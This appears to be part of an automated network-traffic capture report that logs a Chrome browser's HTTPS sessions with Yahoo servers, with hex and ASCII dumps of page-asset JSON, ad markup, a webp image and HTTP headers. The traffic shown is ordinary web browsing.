2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 36 62 36 34 0d 0a 7b 22 61 73 73 65 74 73 22 3a 7b 22 63 73 73 22 3a 5b 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 74 6f 70 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 63 70 72 6f 70 73 2f 63 6f 6c 6f 72 73 5f 31 2e 31 2e 32 37 2e 6d 69 6e 2e 63 73 73 22 2c 22 6e 61 6d 65 22 3a 22 63 75 73 74 6f 6d 2d 70 72 6f 70 65 72 74 69 65 73 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 31 2e 32 37 22 7d 2c 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 74 6f 70 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 66 70 2f 63 73 73 2f 72 65 61 63 74 2d 77 61 66 65 72 2d 6e 61 74 69 76 65 41 64 2e 4e 61 74 69 76 65 41 64 2e 61 74 6f 6d 69 63 2e 6c 74 72 2e 37 39 65 33 35 61 62 39 63 63 39 39 34 33 31 35 63 61 65 63 63 36 31 62 31 37 33 37 63 32 33 66 2e 6d 69 6e 2e 63 73 73 22 2c Data Ascii: 6b64{"assets":{"css":[{"location":"top","value":"/aaq/cprops/colors_1.1.27.min.css","name":"custom-properties","version":"1.1.27"},{"location":"top","value":"/aaq/fp/css/react-wafer-nativeAd.NativeAd.atomic.ltr.79e35ab9cc994315caecc61b1737c23f.min.css",
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 76 69 64 65 6f 2d 33 2e 31 2e 32 2d 6d 6f 64 65 72 6e 2e 6a 73 22 2c 22 6e 61 6d 65 22 3a 22 77 61 66 65 72 2d 76 69 64 65 6f 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 33 2e 31 2e 32 22 7d 2c 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 62 6f 74 74 6f 6d 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 63 61 61 73 2d 31 2e 33 36 2e 32 2d 6d 6f 64 65 72 6e 2e 6a 73 22 2c 22 6e 61 6d 65 22 3a 22 77 61 66 65 72 2d 63 61 61 73 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 33 36 2e 32 22 7d 2c 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 62 6f 74 74 6f 6d 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 6e 61 74 69 76 65 2d 64 61 2d 31 2e 30 2e 35 2d 6d 6f 64 65 72 6e 2e 6a 73 Data Ascii: ","value":"/aaq/wf/wf-video-3.1.2-modern.js","name":"wafer-video","version":"3.1.2"},{"location":"bottom","value":"/aaq/wf/wf-caas-1.36.2-modern.js","name":"wafer-caas","version":"1.36.2"},{"location":"bottom","value":"/aaq/wf/wf-native-da-1.0.5-modern.js
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 68 6e 43 39 69 75 44 76 78 4f 61 64 79 67 76 33 4a 41 73 57 47 49 32 6e 57 4b 59 46 69 48 56 50 45 45 2d 5f 33 31 64 4a 63 44 31 55 73 31 36 7a 31 65 5f 72 58 5a 78 64 6a 35 49 36 4f 2d 79 39 79 4f 55 6b 46 47 41 64 42 53 73 41 4f 74 4d 41 59 63 5f 43 39 53 64 4a 4f 75 6c 48 55 2d 37 34 39 53 33 33 61 31 64 48 6b 66 6b 67 66 47 64 71 4d 71 35 59 6e 70 39 30 64 42 39 4d 73 63 67 35 4e 6e 35 57 7a 54 75 31 6b 55 61 32 41 5f 53 6d 79 4f 42 32 76 4b 65 4e 50 4d 75 71 4e 4d 42 57 53 62 49 34 4d 4e 72 75 71 70 54 50 43 74 68 59 65 4a 34 4e 49 66 67 36 39 61 43 4e 4b 43 6d 48 55 6d 45 39 67 51 75 51 6c 33 73 46 72 34 45 57 79 55 64 70 46 6d 49 76 54 4d 4b 76 41 66 55 77 4f 35 34 69 4e 34 6d 4e 51 59 64 35 74 37 56 79 31 45 71 39 6f 73 71 33 35 5f 6e 77 4e 53 6c Data Ascii: hnC9iuDvxOadygv3JAsWGI2nWKYFiHVPEE-_31dJcD1Us16z1e_rXZxdj5I6O-y9yOUkFGAdBSsAOtMAYc_C9SdJOulHU-749S33a1dHkfkgfGdqMq5Ynp90dB9Mscg5Nn5WzTu1kUa2A_SmyOB2vKeNPMuqNMBWSbI4MNruqpTPCthYeJ4NIfg69aCNKCmHUmE9gQuQl3sFr4EWyUdpFmIvTMKvAfUwO54iN4mNQYd5t7Vy1Eq9osq35_nwNSl
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 5f 6b 30 6a 52 69 31 4b 71 57 75 33 42 55 2d 2d 4a 4c 6a 79 31 4d 31 35 5a 53 53 77 36 68 67 6a 4f 4b 61 51 69 5a 4d 6e 2d 2d 34 5f 66 6b 5f 6c 6d 76 6b 48 62 31 41 39 4b 47 70 41 4f 30 77 75 49 43 4a 52 77 49 31 38 49 42 33 46 4c 67 34 62 52 43 62 43 65 4d 6a 36 41 59 78 71 43 45 57 4d 6a 33 74 66 7a 44 32 75 58 4c 42 67 38 73 53 77 61 31 34 35 61 74 34 6e 49 54 30 53 75 33 73 44 6d 41 72 50 68 71 4d 6a 64 4e 6e 6a 66 76 51 4e 67 58 41 33 4d 7a 65 5a 70 41 48 30 6e 50 4f 53 78 42 6e 43 45 6f 55 6e 47 45 49 38 78 77 58 4d 4c 6b 54 6c 4f 62 68 4c 71 43 4a 34 46 4c 6a 6a 44 5a 64 73 55 32 52 51 7a 75 5f 75 55 61 51 5a 72 62 42 75 37 79 5f 54 47 62 6d 49 6b 6c 49 36 35 48 68 71 32 73 61 61 68 4f 42 67 47 6b 41 4c 37 48 75 46 36 54 69 67 67 73 4f 7a 4e 46 44 Data Ascii: _k0jRi1KqWu3BU--JLjy1M15ZSSw6hgjOKaQiZMn--4_fk_lmvkHb1A9KGpAO0wuICJRwI18IB3FLg4bRCbCeMj6AYxqCEWMj3tfzD2uXLBg8sSwa145at4nIT0Su3sDmArPhqMjdNnjfvQNgXA3MzeZpAH0nPOSxBnCEoUnGEI8xwXMLkTlObhLqCJ4FLjjDZdsU2RQzu_uUaQZrbBu7y_TGbmIklI65Hhq2saahOBgGkAL7HuF6TiggsOzNFD
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 65 71 4c 69 55 39 32 64 59 61 32 72 66 39 5f 4e 4e 33 34 43 34 39 4e 74 68 54 76 37 4b 2d 6c 69 33 47 38 61 5a 58 77 6a 76 64 34 30 61 64 63 44 35 76 66 6d 35 36 76 59 59 4a 7a 61 69 6c 58 6c 38 67 55 66 33 30 39 33 64 32 63 4f 65 6a 69 36 42 30 35 74 6e 47 49 35 47 5a 56 76 39 48 71 43 43 79 69 62 58 33 37 51 62 48 4c 30 62 55 6b 6c 6e 37 44 6a 72 7a 69 44 35 37 50 4c 74 4e 64 44 6e 62 71 62 30 74 50 39 4a 32 78 51 67 4b 4e 51 2d 37 31 7a 62 46 4a 70 37 62 4b 50 4a 64 35 54 79 70 4b 32 4e 6c 78 6c 48 4e 48 5a 31 31 78 54 71 66 48 51 66 72 5a 41 51 56 68 57 70 4a 31 42 77 5f 70 59 48 64 67 56 69 61 66 46 42 75 76 59 62 30 39 62 4b 6b 71 53 33 47 46 58 38 78 34 66 4f 52 63 79 68 53 4d 50 74 31 37 53 49 59 4f 48 64 55 6d 73 70 41 73 2d 70 33 62 46 74 45 77 Data Ascii: eqLiU92dYa2rf9_NN34C49NthTv7K-li3G8aZXwjvd40adcD5vfm56vYYJzailXl8gUf3093d2cOeji6B05tnGI5GZVv9HqCCyibX37QbHL0bUkln7DjrziD57PLtNdDnbqb0tP9J2xQgKNQ-71zbFJp7bKPJd5TypK2NlxlHNHZ11xTqfHQfrZAQVhWpJ1Bw_pYHdgViafFBuvYb09bKkqS3GFX8x4fORcyhSMPt17SIYOHdUmspAs-p3bFtEw
2024-04-27 22:41:55 UTC	337	IN	Data Raw: 4d 36 51 62 51 47 79 74 52 34 54 54 75 61 43 5a 69 35 75 65 47 32 5f 43 76 5a 4c 6a 74 4d 7a 36 4d 62 55 42 35 49 53 6c 69 43 4d 76 48 53 31 4b 52 36 56 61 7a 7a 68 4e 44 7a 79 61 6b 72 57 38 49 34 5f 59 26 61 6d 70 3b 61 70 3d 38 5c 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 50 6f 73 28 72 29 20 73 68 6f 77 2d 74 68 65 6e 2d 68 69 64 65 2d 61 64 2d 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 5f 44 28 6e 29 20 44 28 66 29 20 68 69 64 65 2d 61 64 5f 44 28 6e 29 5c 22 3e 3c 61 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 5c 22 74 72 75 65 5c 22 20 74 61 62 69 6e 64 65 78 3d 5c 22 2d 31 5c 22 20 63 6c 61 73 73 3d 5c 22 4d 65 6e 64 28 32 30 70 78 29 20 46 78 73 28 30 29 20 57 28 32 36 38 70 78 29 20 42 64 72 73 28 38 70 78 29 20 4f 76 28 68 29 5c 22 20 64 61 74 61 2d 79 Data Ascii: M6QbQGytR4TTuaCZi5ueG2_CvZLjtMz6MbUB5ISliCMvHS1KR6VazzhNDzyakrW8I4_Y&ap=8\"><div class=\"Pos(r) show-then-hide-ad-confirmation_D(n) D(f) hide-ad_D(n)\"><a aria-hidden=\"true\" tabindex=\"-1\" class=\"Mend(20px) Fxs(0) W(268px) Bdrs(8px) Ov(h)\" data-y
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 3a 73 74 72 6d 3b 74 33 3a 63 74 3b 63 63 6f 64 65 3a 6d 65 67 61 73 74 72 65 61 6d 5f 75 6e 69 66 69 65 64 5f 5f 65 6e 2d 55 53 5f 5f 66 72 6f 6e 74 70 61 67 65 5f 5f 64 65 66 61 75 6c 74 5f 5f 64 65 66 61 75 6c 74 5f 5f 64 65 73 6b 74 6f 70 5f 5f 67 61 5f 5f 6e 6f 53 70 6c 69 74 3b 63 74 3a 61 64 3b 67 3a 6d 61 69 6e 2d 6e 61 74 69 76 65 2d 61 64 2d 36 3b 67 72 70 74 3a 73 69 6e 67 6c 65 73 74 6f 72 79 3b 70 6b 67 74 3a 6f 72 70 68 61 6e 5f 6e 6f 5f 69 6d 67 3b 70 6f 73 3a 31 3b 61 64 3a 31 3b 5c 22 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 2f 2f 61 2e 62 65 61 70 2e 67 65 6d 69 6e 69 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 6d 62 63 6c 6b 3f 62 76 3d 33 2e 30 2e 30 26 61 6d 70 3b 65 73 3d 41 51 41 41 41 46 49 45 69 31 6b 53 53 6a 43 65 45 65 4b 32 33 6c 45 68 Data Ascii: :strm;t3:ct;ccode:megastream_unified__en-US__frontpage__default__default__desktop__ga__noSplit;ct:ad;g:main-native-ad-6;grpt:singlestory;pkgt:orphan_no_img;pos:1;ad:1;\" href=\"https://a.beap.gemini.yahoo.com/mbclk?bv=3.0.0&es=AQAAAFIEi1kSSjCeEeK23lEh
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 36 77 63 4a 41 49 61 4b 53 74 55 6a 30 6f 7a 68 75 53 67 35 77 58 55 68 41 61 36 37 33 4c 6c 78 33 4d 55 4b 5a 72 48 35 43 66 49 6a 62 5f 31 66 61 4b 54 46 4d 31 6e 33 55 4e 78 4e 53 36 67 6c 55 75 59 58 37 35 51 31 6d 42 48 31 75 35 73 49 55 65 73 43 47 4d 53 34 4d 69 58 38 6c 78 43 6a 4d 66 4e 61 61 59 32 77 69 38 62 6c 4f 34 6d 63 76 68 54 76 48 7a 48 7a 33 67 55 36 65 6c 67 77 33 76 7a 54 42 68 68 57 6a 36 73 2d 36 49 6f 44 55 48 33 6b 5a 58 6c 6d 57 75 70 42 4d 42 6b 45 62 4d 54 4e 75 70 65 42 62 53 54 52 46 6e 62 6a 70 72 69 52 45 55 6d 4f 42 73 78 65 51 61 78 63 54 67 61 39 79 4d 78 6c 69 67 32 31 54 6a 61 55 2d 51 73 70 51 6e 66 6c 74 69 76 30 78 30 6c 70 47 55 37 4e 64 31 34 6b 62 68 69 53 37 58 50 32 4b 42 50 4f 77 4c 44 4c 52 6a 46 4c 6d 70 42 Data Ascii: 6wcJAIaKStUj0ozhuSg5wXUhAa673Llx3MUKZrH5CfIjb_1faKTFM1n3UNxNS6glUuYX75Q1mBH1u5sIUesCGMS4MiX8lxCjMfNaaY2wi8blO4mcvhTvHzHz3gU6elgw3vzTBhhWj6s-6IoDUH3kZXlmWupBMBkEbMTNupeBbSTRFnbjpriREUmOBsxeQaxcTga9yMxlig21TjaU-QspQnfltiv0x0lpGU7Nd14kbhiS7XP2KBPOwLDLRjFLmpB
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 48 4c 6a 78 30 78 41 51 66 37 32 32 4d 34 44 53 6c 72 65 66 6a 65 77 37 34 32 35 75 6f 39 45 71 61 77 6b 68 37 46 63 50 6a 79 4d 42 74 56 59 76 69 43 6d 63 63 65 59 44 6d 63 43 63 62 6c 62 2d 56 74 48 6f 45 56 37 6b 6a 39 33 67 6b 5a 47 77 64 4f 48 37 38 4d 6b 70 46 6f 46 63 52 67 4f 30 37 7a 71 78 48 33 7a 57 73 52 72 70 79 37 6a 67 73 49 73 4a 4d 68 59 52 51 31 4e 4b 61 38 63 30 6f 53 67 52 6e 52 49 74 45 66 4c 35 5f 79 55 39 31 7a 56 42 45 66 31 7a 58 6d 55 63 6e 6e 59 33 58 7a 4c 32 38 44 62 35 74 44 38 54 64 66 73 5f 48 35 61 65 70 48 5f 48 76 73 6f 67 55 37 34 2d 30 41 41 35 30 31 7a 74 30 4d 57 6e 4b 61 76 79 30 35 6c 51 35 4e 44 5f 45 30 6d 51 43 6c 61 5f 49 58 36 64 30 6a 4b 4d 6d 51 41 36 77 37 64 65 33 37 36 38 54 65 56 47 39 52 56 52 42 71 5f Data Ascii: HLjx0xAQf722M4DSlrefjew7425uo9Eqawkh7FcPjyMBtVYviCmcceYDmcCcblb-VtHoEV7kj93gkZGwdOH78MkpFoFcRgO07zqxH3zWsRrpy7jgsIsJMhYRQ1NKa8c0oSgRnRItEfL5_yU91zVBEf1zXmUcnnY3XzL28Db5tD8Tdfs_H5aepH_HvsogU74-0AA501zt0MWnKavy05lQ5ND_E0mQCla_IX6d0jKMmQA6w7de3768TeVG9RVRBq_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	49891	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:55 UTC	740	OUT	GET /uu/api/res/1.2/QE4kbKFBO8gdTgYpRmjkEg--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/ap.org/a4b292845afa16f99e2a1a08e343ce42.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:55 UTC	1294	IN	HTTP/1.1 200 OK Content-Length: 8404 Content-Type: image/webp Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 479076700702748454677469566840767933710,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="a4b292845afa16f99e2a1a08e343ce42.webp" Edge-Cache-Tag: 479076700702748454677469566840767933710,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Etag: "bb40570ec13b9639304569a24223503b" Last-Modified: Fri, 26 Apr 2024 21:32:27 GMT Server: ATS Status: 200 OK Surrogate-Reporting: width=536,height=284,bytes=8404,owidth=4223,oheight=2816,obytes=3044038,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Request-Id: 3c4ac048eb2a62d8be84d7d422ea1e71 Accept-Ranges: bytes Date: Fri, 26 Apr 2024 21:32:26 GMT X-Served-By: cache-lga21966-LGA X-Cache: Miss from cloudfront, MISS X-Cache-Hits: 0 X-Timer: S1714167145.677590,VS0,VE1413 Age: 90573 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block
2024-04-27 22:41:55 UTC	58	IN	Data Raw: 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: X-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 52 49 46 46 cc 20 00 00 57 45 42 50 56 50 38 58 0a 00 00 00 20 00 00 00 17 02 00 1b 01 00 49 43 43 50 30 02 00 00 00 00 02 30 41 44 42 45 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 d0 00 08 00 0b 00 13 00 33 00 3b 61 63 73 70 41 50 50 4c 00 00 00 00 6e 6f 6e 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 41 44 42 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 63 70 72 74 00 00 00 fc 00 00 00 32 64 65 73 63 00 00 01 30 00 00 00 6b 77 74 70 74 00 00 01 9c 00 00 00 14 62 6b 70 74 00 00 01 b0 00 00 00 14 72 54 52 43 00 00 01 c4 00 00 00 0e 67 54 52 43 00 00 01 d4 00 00 00 0e 62 54 52 43 00 00 01 e4 00 00 00 0e 72 Data Ascii: RIFF WEBPVP8X ICCP00ADBEmntrRGB XYZ 3;acspAPPLnone-ADBEcprt2desc0kwtptbkptrTRCgTRCbTRCr
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 72 ca 66 64 b7 84 39 f2 1c bf 3e e4 03 ab c5 7e 05 8f c2 46 c0 1a 4f 2d 4a d4 b6 b4 c0 d3 f3 0f 6d 01 22 79 24 ca 55 f0 48 54 a0 14 f5 01 e6 0f ed 92 97 d5 89 7a 6a 2e 58 95 c2 11 be a3 26 e2 09 2c 2a ab 14 2b 3a 47 c3 32 c9 cd 52 a8 a6 86 34 a4 12 24 23 94 00 ac 81 85 14 a4 22 be d9 36 16 12 41 3a d0 ad e0 bf cd a9 f8 63 df 44 61 f6 36 f4 ab 35 b2 5e 88 9d 7a 07 b7 3c 09 30 ca d9 17 19 6f b1 b3 1e f2 99 b1 70 da 66 83 46 43 2a be a2 5a 7d cc 88 d9 12 c8 13 01 0e 81 2b 13 40 8a 19 44 ee 59 b9 6e 73 08 2a 0a fc 8c 3a 75 73 4f fc 12 fe ce e7 16 5e 03 3f a6 69 a7 a5 2f 83 9a cd bf 59 41 30 90 2e 8d f5 68 fe 03 18 68 68 29 c6 f0 88 ed bf 9c c3 aa 0f bc 10 ae 3d 86 54 2f 58 ce 42 6f 38 fa fb a8 b6 ad 60 aa 4d 10 a7 dd ad a0 19 50 3e 3b f3 81 89 4f 81 d9 ea 60 Data Ascii: rfd9>~FO-Jm"y$UHTzj.X&,+:G2R4$#"6A:cDa65^z<0opfFCZ}+@DYns*:usO^?i/YA0.hhh)=T/XBo8`MP>;O`
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 55 d2 0d 0b 1d 2d f1 b7 ad ad 59 3d bb 0f 49 f9 6e 1b 3b 75 17 80 2d df 8b c7 e6 e1 7f c3 c8 83 d5 51 7d 7a 71 84 1d 8c 17 82 bb 8c 84 dc 8b e6 04 63 84 e3 b1 fa 2e fe 54 27 05 7f 01 d7 3e 2f fe fc 55 01 3d ec 17 05 e0 bd 05 d8 5b e0 e1 0a 93 5c fd 38 15 e9 c1 92 36 5a 42 17 7f 9b 23 d7 d0 f3 d2 e2 60 18 44 45 32 24 14 f5 71 43 bf 7f 9a 09 7d ad d8 97 da 98 70 d4 1e c7 e9 e2 e2 97 8d f3 f2 c2 84 23 ff 9e 27 6c 53 43 76 3b 32 45 5a 35 21 ac 82 af 16 e5 29 fb ac 13 2f 64 1a ff 7f 4f de 24 ed f2 00 d1 f8 3d 38 19 18 32 3c 20 a8 ef 6e 70 58 63 72 af 40 00 75 67 71 13 11 5f 34 66 93 4b 84 29 98 44 8c aa fe 9c f2 3f 5d ca c7 b0 52 fa d3 ca e9 39 01 a0 87 67 e6 62 c6 13 d3 16 47 04 3c c2 3c 75 a4 12 2d 10 88 d2 41 e2 16 b3 d1 d7 32 6b 5b b9 9a 0f 66 fe 4c dc bb Data Ascii: U-Y=In;u-Q}zqc.T'>/U=[\86ZB#`DE2$qC}p#'lSCv;2EZ5!)/dO$=82< npXcr@ugq_4fK)D?]R9gbG<<u-A2k[fL
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: a6 38 3e 35 d1 3e b5 5f 49 16 69 00 64 0e 3a fb ca 69 69 9b 17 d0 e0 29 15 ee 5c e9 77 1f b9 0a b7 03 8c 4a 37 65 19 32 5b 9a ff 94 08 5d 52 09 c1 69 23 86 0f 81 9b 5e 67 77 8a 56 39 33 4a 91 0c 32 71 1a 4d ae 2f c3 d2 42 a9 fb 42 8e 4b e1 95 26 44 07 1c f3 08 bc 5b 8e 6e a6 4a 8d 68 36 6b e2 82 93 c6 28 55 16 99 39 10 e0 8e 04 35 a4 a7 05 b4 e0 65 b4 f3 32 5d 3d 45 46 79 61 ce cc e2 15 ca 50 b6 6b 13 0f e9 5a b3 9e ef 52 ca fe 78 ca c2 94 31 f4 79 d1 f0 ef 1b 0f ae 87 b6 35 5d 1b be d2 03 f1 19 9d c1 58 4a 40 fc a5 c5 5c e2 6b b3 70 00 00 0a 9f a5 ad ac da 63 f0 5f 2b ce 54 91 eb 17 ab 29 c8 dc 99 bb 48 cb aa 86 af 87 71 22 6f c6 ee 5e 43 1e 60 c6 e1 38 a0 63 6e 96 51 4d ff af 8b c8 ca 7b 84 6a 40 1a cc 7b 4c 33 47 7c c1 00 f3 56 2c 0d 17 bd b1 c5 77 7d Data Ascii: 8>5>_Iid:ii)\wJ7e2[]Ri#^gwV93J2qM/BBK&D[nJh6k(U95e2]=EFyaPkZRx1y5]XJ@\kpc_+T)Hq"o^C`8cnQM{j@{L3G\|V,w}
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 28 cd af 7e 04 b5 84 2b bc ea 8a c0 a1 02 1e 07 7e 16 bc 8e 13 89 b3 0f 2f c1 aa b3 7b bd 1c 76 a5 3b bc 1d 82 f7 44 d1 5e f7 c9 89 cb 96 01 4f 5b 0e 0e 7b e0 8d d8 20 bc 14 61 ca 54 21 0c 8b f0 ee d7 3c a4 f2 50 00 45 13 40 27 33 92 a7 f2 31 9f 82 8d cf 4f 14 57 e7 33 73 7f ad 25 7b 09 65 67 25 6b 49 3c c6 bd a6 9b 59 f8 41 05 b3 fc bf 17 14 1f de ff 4e 7a a1 b6 66 e4 3a 93 5e 99 b0 ab 82 71 fe 70 0e 37 00 16 84 40 69 0f 10 ca f9 c4 07 1c 83 4b cd 54 19 98 f1 18 2b 34 e4 ae 07 4d 16 61 34 30 c7 b1 82 d5 63 c9 c1 b2 08 01 78 d9 c1 70 9b 9a af 54 a5 ee fc dc d5 b1 af 8b c7 dc 69 de 92 57 52 d8 5f f9 2e 39 34 46 64 11 c7 f2 0b d5 71 1a 73 6b 6b 0a 60 a1 bb 26 c5 db 8d 6c 22 eb 3e ba 0a 46 44 3d 3c e7 77 50 2f ff 42 7c e2 43 e7 f2 6e 59 4d d4 e5 c1 7e 45 66 Data Ascii: (~+~/{v;D^O[{ aT!<PE@'31OW3s%{eg%kI<YANzf:^qp7@iKT+4Ma40cxpTiWR_.94Fdqskk`&l">FD=<wP/B\|CnYM~Ef
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 98 bc 6b 40 2a 72 ed 4f 12 94 4e 01 70 db 2d df 99 f2 f0 f0 19 56 cf 53 2c 3c 65 60 4f fc ec fa 8d 60 3e 73 0b 77 2b bf 3a 45 39 fe 94 fb 25 08 35 b5 43 ef 15 e1 41 0d 1b 3e ac 81 a7 16 18 5f 73 d3 8d 24 91 b7 51 be 2a f2 88 ad 76 9d ea 0f 8d b2 0f 1e d2 8d 86 17 f0 72 e6 7a cc da 2b 98 98 bc 89 3d 34 21 bd b9 da 7e 8a 45 bf 8d d6 f2 b0 ae 2f 0f 51 e9 1a b6 94 95 2b 7b b4 8c 07 48 0f d7 b6 98 e1 53 df 68 56 6a e6 cb 5c 61 55 60 85 c6 7e e0 f6 c5 36 43 cf 1c 50 9c 28 40 66 cb e1 61 5d 47 27 63 0f 23 79 ae 42 85 83 33 aa 3b cf 16 b5 bb c6 cf 2a 6c 02 b1 09 72 3f 2b 9e 03 a4 8d 75 e5 48 03 78 3f b2 24 f4 00 97 03 87 5b 4a fa 6a 82 6f 5b a6 79 66 22 f4 e5 85 f4 a9 ad d5 fc b4 d9 26 16 5d ae 7a 33 26 de c0 5d f0 cb 1f af 03 cb 94 06 26 68 aa d6 7c 05 52 d3 97 Data Ascii: k@rONp-VS,<e`O`>sw+:E9%5CA>_s$Qvrz+=4!~E/Q+{HShVj\aU`~6CP(@fa]G'c#yB3;*lr?+uHx?$[Jjo[yf"&]z3&]&h\|R
2024-04-27 22:41:55 UTC	604	IN	Data Raw: 4e 80 d9 89 0c 95 da e1 b1 a9 a3 13 6d 18 fe ee e0 ed 04 f7 6b ad 17 1e a6 78 17 46 2f 36 e1 cd 30 d6 88 33 50 70 68 a8 e4 b8 ac de 2d 6a 07 12 4d 1b d6 fd 97 25 04 0e 6f d3 e0 cd 51 72 07 d2 49 2b 6f ae 93 a8 81 e9 d8 11 b8 74 e1 80 50 1e e8 7f 6f 29 a5 3a 82 bb fc cc f3 1c 37 2c 24 77 5e f4 5f ac f3 ad af 88 de b2 b1 49 62 bc c3 a1 f0 da b4 cb 8b 5c ee 44 43 12 10 40 8a b8 3a 03 53 af 70 69 53 4b a4 ed a2 94 19 07 63 2f 7d ef 20 2e 45 c3 2a d6 ed 50 ec 70 39 f1 45 1d 10 15 50 68 0a 73 ef 4f d2 4b f0 0c b4 4d d4 0e a5 80 d0 bd bd a7 7c a7 60 16 61 f1 36 02 c6 c4 d5 4c 8f 38 bb a2 34 57 35 c1 66 b0 87 df 34 f2 ff 45 61 4c 42 af 6c d0 55 f0 bd ac a3 6a 59 8f 0b 8c 83 8d d2 99 00 c9 e6 bd 83 bb 1b 23 25 b3 70 6b 15 38 b6 f3 8f aa 60 85 6b ee 5a 19 16 5e 3c Data Ascii: NmkxF/603Pph-jM%oQrI+otPo):7,$w^_Ib\DC@:SpiSKc/} .E*Pp9EPhsOKM\|`a6L84W5f4EaLBlUjY#%pk8`kZ^<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	49890	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:55 UTC	562	OUT	GET /ybar/exp.json HTTP/1.1 Host: edge-mcdn.secure.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:55 UTC	785	IN	HTTP/1.1 200 OK x-amz-id-2: CDuh4wRFbTP73guQ541uljb5lMXBlIjSlLDm7zuxWK0PAMkhl/LJvz5Enq+Mqe4deNlPa6U7uHs= x-amz-request-id: Y260T267H2JVGG09 Date: Sat, 27 Apr 2024 17:25:33 GMT Last-Modified: Tue, 06 Dec 2022 17:20:56 GMT x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Content-Type: application/json Server: ATS Content-Length: 1784 Referrer-Policy: no-referrer-when-downgrade Etag: "877792d86d801176269a36ac7b4e6e02" Age: 18983 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Timing-Allow-Origin: * Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET
